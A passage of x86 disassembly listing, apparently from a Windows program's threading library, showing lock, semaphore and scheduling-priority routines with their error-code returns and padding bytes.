0Ch retn ; --------------------------------------------------------------------------- loc_4322F6: ; CODE XREF: ___:0043220Cj ; ___:00432216j ... mov eax, 16h loc_4322FB: ; CODE XREF: ___:00432231j ; ___:00432251j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_432360: ; CODE XREF: ___:00401951j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_432461 mov eax, [esi] test eax, eax jz loc_432461 cmp eax, 0FFFFFFFFh jnz short loc_432397 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432397 cmp eax, 10h jnz loc_432466 loc_432397: ; CODE XREF: ___:0043237Fj ; ___:0043238Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432461 mov edi, [esp+20h] push edi push esi call sub_401BC2 add esp, 8 test eax, eax jnz loc_432466 lea ebp, [esi+4] push edi push ebp call sub_401BC2 mov edi, eax add esp, 8 test edi, edi jz short loc_4323E1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4323E1: ; CODE XREF: ___:004323CDj mov eax, [esi+10h] test eax, eax jnz short loc_432455 mov eax, [esi+14h] test eax, eax jle short loc_4323FE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4323FE: ; CODE XREF: ___:004323EDj mov eax, [esi+0Ch] test eax, eax jle short loc_432455 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_432421: ; CODE XREF: ___:0043243Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43243D mov eax, [esi+14h] test eax, eax jl short loc_432421 loc_43243D: ; CODE XREF: ___:00432434j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_432458 mov [esi+0Ch], edi loc_432455: ; CODE XREF: ___:004323E6j ; ___:00432403j inc dword ptr [esi+10h] loc_432458: ; CODE XREF: ___:00432450j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432461: ; CODE XREF: ___:0043236Cj ; ___:00432376j ... mov eax, 16h loc_432466: ; CODE XREF: ___:00432391j ; ___:004323B6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4324C0: ; CODE XREF: ___:004015BEj mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_432546 mov esi, [eax] test esi, esi jz short loc_432546 cmp esi, 0FFFFFFFFh jnz short loc_4324DC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4324DC: ; CODE XREF: ___:004324D4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_432546 mov eax, [esi+10h] test eax, eax jnz short loc_432524 lea ebx, [esi+4] push ebx call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_432502 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432502: ; CODE XREF: ___:004324FCj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_432519 add esi, 8 push esi call sub_401E51 add esp, 4 mov edi, eax loc_432519: ; CODE XREF: ___:00432509j push ebx call sub_4010C3 add esp, 4 jmp short loc_43253C ; --------------------------------------------------------------------------- loc_432524: ; CODE XREF: ___:004324EAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43253C: ; CODE XREF: ___:00432522j test edi, edi jz short loc_43254B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432546: ; CODE XREF: ___:004324C9j ; ___:004324CFj ... mov eax, 16h loc_43254B: ; CODE XREF: ___:0043253Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432580: ; CODE XREF: ___:00401532j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43263A mov eax, [esi] test eax, eax jz loc_43263A cmp eax, 0FFFFFFFFh jnz short loc_4325B4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4325B4 cmp eax, 10h jnz loc_43263F loc_4325B4: ; CODE XREF: ___:0043259Cj ; ___:004325A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43263A push esi call sub_40177B add esp, 4 test eax, eax jnz short loc_43263F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43262D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4325FD push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4325FD: ; CODE XREF: ___:004325ECj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43262D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43262D: ; CODE XREF: ___:004325DAj ; ___:0043261Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43263A: ; CODE XREF: ___:00432589j ; ___:00432593j ... mov eax, 16h loc_43263F: ; CODE XREF: ___:004325AEj ; ___:004325CAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432690: ; CODE XREF: ___:00401FD2j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_432771 mov eax, [esi] test eax, eax jz loc_432771 cmp eax, 0FFFFFFFFh jnz short loc_4326C4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4326C4 cmp eax, 10h jnz loc_432776 loc_4326C4: ; CODE XREF: ___:004326ACj ; ___:004326B9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432771 push esi call sub_40177B add esp, 4 test eax, eax jnz loc_432776 lea ebx, [esi+4] push ebx call sub_40177B mov edi, eax add esp, 4 test edi, edi jz short loc_432709 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_432776 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432709: ; CODE XREF: ___:004326F4j mov eax, [esi+10h] test eax, eax jnz short loc_432759 mov eax, [esi+14h] test eax, eax jle short loc_432726 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432726: ; CODE XREF: ___:00432715j mov eax, [esi+0Ch] test eax, eax jle short loc_432764 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_43274B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43274B: ; CODE XREF: ___:0043273Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_43275E loc_432759: ; CODE XREF: ___:0043270Ej mov edi, 10h loc_43275E: ; CODE XREF: ___:00432757j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432764: ; CODE XREF: ___:0043272Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432771: ; CODE XREF: ___:00432699j ; ___:004326A3j ... mov eax, 16h loc_432776: ; CODE XREF: ___:004326BEj ; ___:004326DEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4327C0: ; CODE XREF: ___:00401BF9j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_4327D7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_4327D7: ; CODE XREF: ___:004327CFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432800: ; CODE XREF: ___:00401E97j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432827 mov eax, [esp+8] test eax, eax jz short loc_432827 cmp eax, 2 jbe short loc_432827 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432827: ; CODE XREF: ___:0043280Fj ; ___:00432817j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432840: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432886 mov edi, [esp+14h] test edi, edi jz short loc_432886 mov esi, [edi] push eax call sub_40154B add esp, 4 cmp esi, eax jl short loc_432886 push 0 call sub_401438 add esp, 4 cmp esi, eax jg short loc_432886 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_432886: ; CODE XREF: ___:00432852j ; ___:0043285Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328B0: ; CODE XREF: ___:00401EDDj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_4328D5 mov eax, [esp+0Ch] test eax, eax jz short loc_4328D5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4328D5: ; CODE XREF: ___:004328C0j ; ___:004328C8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328F0: ; CODE XREF: ___:004015B4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_432909 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432909: ; CODE XREF: ___:00432900j mov eax, [esp+0Ch] test eax, eax jz short loc_43291D cmp eax, 1 jz short loc_43291D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_43291D: ; CODE XREF: ___:0043290Fj ; ___:00432914j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:004019D8j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432965 mov eax, [esp+0Ch] test eax, eax jz short loc_432965 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_432965: ; CODE XREF: ___:00432950j ; ___:00432958j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432980 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_4329C5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_4329C0 cmp eax, 2 jg short loc_4329C0 test eax, eax jz short loc_4329AC mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_4329AC: ; CODE XREF: sub_432980+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020B3 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_4329C0: ; CODE XREF: sub_432980+1Aj ; sub_432980+1Fj mov eax, 16h loc_4329C5: ; CODE XREF: sub_432980+12j pop esi retn sub_432980 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4329F0 proc near ; CODE XREF: sub_4020B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_40154B add esp, 4 cmp esi, eax jl loc_432A95 push edi call sub_401438 add esp, 4 cmp esi, eax jg short loc_432A95 cmp esi, 0FFFFFFF1h jle short loc_432A30 cmp esi, 0FFFFFFFEh jge short loc_432A30 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_432A42 ; --------------------------------------------------------------------------- loc_432A30: ; CODE XREF: sub_4329F0+2Fj ; sub_4329F0+34j cmp esi, 0Fh jge short loc_432A42 cmp esi, 2 jle short loc_432A42 mov [esp+8+arg_8], 2 loc_432A42: ; CODE XREF: sub_4329F0+3Ej ; sub_4329F0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_432A8E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx nop call near ptr 27206EFh test eax, eax jnz short loc_432A82 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A82: ; CODE XREF: sub_4329F0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_432A8E: ; CODE XREF: sub_4329F0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A95: ; CODE XREF: sub_4329F0+19j ; sub_4329F0+2Aj pop edi mov eax, 16h pop esi retn sub_4329F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AD0 proc near ; CODE XREF: sub_40218Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_432B09 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_432B04 mov eax, [esp+4+arg_8] test eax, eax jz short loc_432B04 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_432B04: ; CODE XREF: sub_432AD0+1Bj ; sub_432AD0+23j mov eax, 16h loc_432B09: ; CODE XREF: sub_432AD0+12j pop esi retn sub_432AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B20 proc near ; CODE XREF: sub_401438j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B33 cmp eax, 2 jg short loc_432B33 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_432B33: ; CODE XREF: sub_432B20+6j ; sub_432B20+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B60 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B73 cmp eax, 2 jg short loc_432B73 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_432B73: ; CODE XREF: sub_432B60+6j ; sub_432B60+Bj call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432BA0: ; CODE XREF: ___:00401AC8j push esi mov esi, [esp+8] test esi, esi jz short loc_432BE5 nop call near ptr 2720691h cmp esi, eax jz short loc_432BE5 push esi push 0 push 200h nop call near ptr 2770000h test eax, eax jnz short loc_432BE5 nop call near ptr 27A08E0h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BE5: ; CODE XREF: ___:00432BA7j ; ___:00432BB1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_432BFE nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BFE: ; CODE XREF: ___:00432BEBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432C30: ; CODE XREF: ___:0040150Aj push esi mov esi, [esp+8] test esi, esi jz short loc_432C75 nop call near ptr 2720691h cmp esi, eax jz short loc_432C75 push esi push 0 push 400h nop call near ptr 2770000h test eax, eax jnz short loc_432C75 nop call near ptr 27A08E0h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432C75: ; CODE XREF: ___:00432C37j ; ___:00432C41j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432CA0: ; CODE XREF: ___:00401B4Aj push 0 call near ptr 2811D0Bh nop xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432CC0 proc near ; CODE XREF: sub_401C76j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_432CDF mov edi, 1 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432CDF: ; CODE XREF: sub_432CC0+Aj push 4 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432CF7 mov edi, 0Ch loc_432CF7: ; CODE XREF: sub_432CC0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 nop call near ptr 2720000h test eax, eax mov [esi], eax jnz short loc_432D24 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D24: ; CODE XREF: sub_432CC0+4Fj test edi, edi jz short loc_432D36 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D36: ; CODE XREF: sub_432CC0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_432CC0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432D80 proc near ; CODE XREF: sub_401686j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_432DA5 mov esi, [edi] test esi, esi jz short loc_432DA5 mov dword ptr [edi], 0 mov eax, [esi] push eax nop call near ptr 282071Eh test eax, eax jnz short loc_432DB7 mov [edi], esi loc_432DA5: ; CODE XREF: sub_432D80+8j ; sub_432D80+Ej nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432DB7: ; CODE XREF: sub_432D80+21j push esi call near ptr 77C2C21Bh nop add esp, 4 xor eax, eax pop edi pop esi retn sub_432D80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DF0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E23 mov eax, [eax] test eax, eax jz short loc_432E23 mov eax, [eax] push 0 push eax call near ptr 2750455h nop cmp eax, 102h jnz short loc_432E35 mov esi, 0Bh nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E23: ; CODE XREF: sub_432DF0+7j ; sub_432DF0+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E35: ; CODE XREF: sub_432DF0+1Fj xor eax, eax pop esi retn sub_432DF0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E60 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E8D mov eax, [eax] test eax, eax jz short loc_432E8D mov eax, [eax] push eax call sub_401640 ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 0C436E890h, 3089777Eh, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432E8D: ; CODE XREF: sub_432E60+7j ; sub_432E60+Dj mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_432E60 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401898j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_432EF3 mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432EF3: ; CODE XREF: sub_432ED0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_432F02 or ebx, 0FFFFFFFFh jmp short loc_432F61 ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_432F61 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_432F61 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_432F61 dec ebx loc_432F61: ; CODE XREF: sub_432ED0+30j ; sub_432ED0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D70 sub_432ED0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 7EC33FE8h, 30899077h, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_432FE0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432FFF mov eax, [eax] test eax, eax jz short loc_432FFF mov eax, [eax] push 0 push 1 push eax nop call near ptr 2710DE4h test eax, eax jnz short loc_43300F loc_432FFF: ; CODE XREF: sub_432FE0+6j ; sub_432FE0+Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_43300F: ; CODE XREF: sub_432FE0+1Dj xor eax, eax retn sub_432FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433030 proc near ; CODE XREF: sub_40204Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_433056 mov eax, [eax] test eax, eax jz short loc_433056 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_433056 mov eax, [eax] push 0 push ecx push eax nop call near ptr 2710DE4h test eax, eax jnz short loc_433066 loc_433056: ; CODE XREF: sub_433030+6j ; sub_433030+Cj ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_433066: ; CODE XREF: sub_433030+24j xor eax, eax retn sub_433030 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433080: ; CODE XREF: ___:00401433j mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4330CD mov esi, [eax] test esi, esi jz short loc_4330CD mov edi, [esp+10h] test edi, edi jz short loc_4330CD mov eax, [esi] push 0 push eax nop call near ptr 2750455h cmp eax, 102h jnz short loc_4330B1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4330B1: ; CODE XREF: ___:004330A8j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx call near ptr 2710DE4h nop mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4330CD: ; CODE XREF: ___:00433088j ; ___:0043308Ej ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433100: ; CODE XREF: ___:0040220Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433120: ; CODE XREF: ___:00402013j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433140: ; CODE XREF: ___:00401CB2j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433160 proc near ; CODE XREF: sub_401992j arg_0 = dword ptr 4 push esi push offset dword_50E980 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_433194 push esi push ecx call sub_4021EE add esp, 8 mov esi, eax push offset dword_50E980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433194: ; CODE XREF: sub_433160+17j test eax, eax jnz short loc_43319D mov esi, 16h loc_43319D: ; CODE XREF: sub_433160+36j push offset dword_50E980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_433160 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4331D0 proc near ; CODE XREF: sub_4021EEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4331EE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4331EE: ; CODE XREF: sub_4331D0+11j lea eax, [esp+14h+var_4] push eax call sub_401C26 mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_433229 mov [esp+14h+var_4], 1 loc_43320B: ; CODE XREF: sub_4331D0+5Ej ; sub_4331D0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433240 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433229: ; CODE XREF: sub_4331D0+31j cmp [esp+14h+var_4], 1 jle short loc_43320B cmp ebx, 1 jnz short loc_43320B pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: sub_4331D0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43325D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: sub_4331D0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A0F mov edi, eax add esp, 4 test edi, edi jnz short loc_433293 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_433293 mov dword ptr [esi], 3 loc_433293: ; CODE XREF: sub_4331D0+9Ej ; sub_4331D0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_4332AF mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4332AF: ; 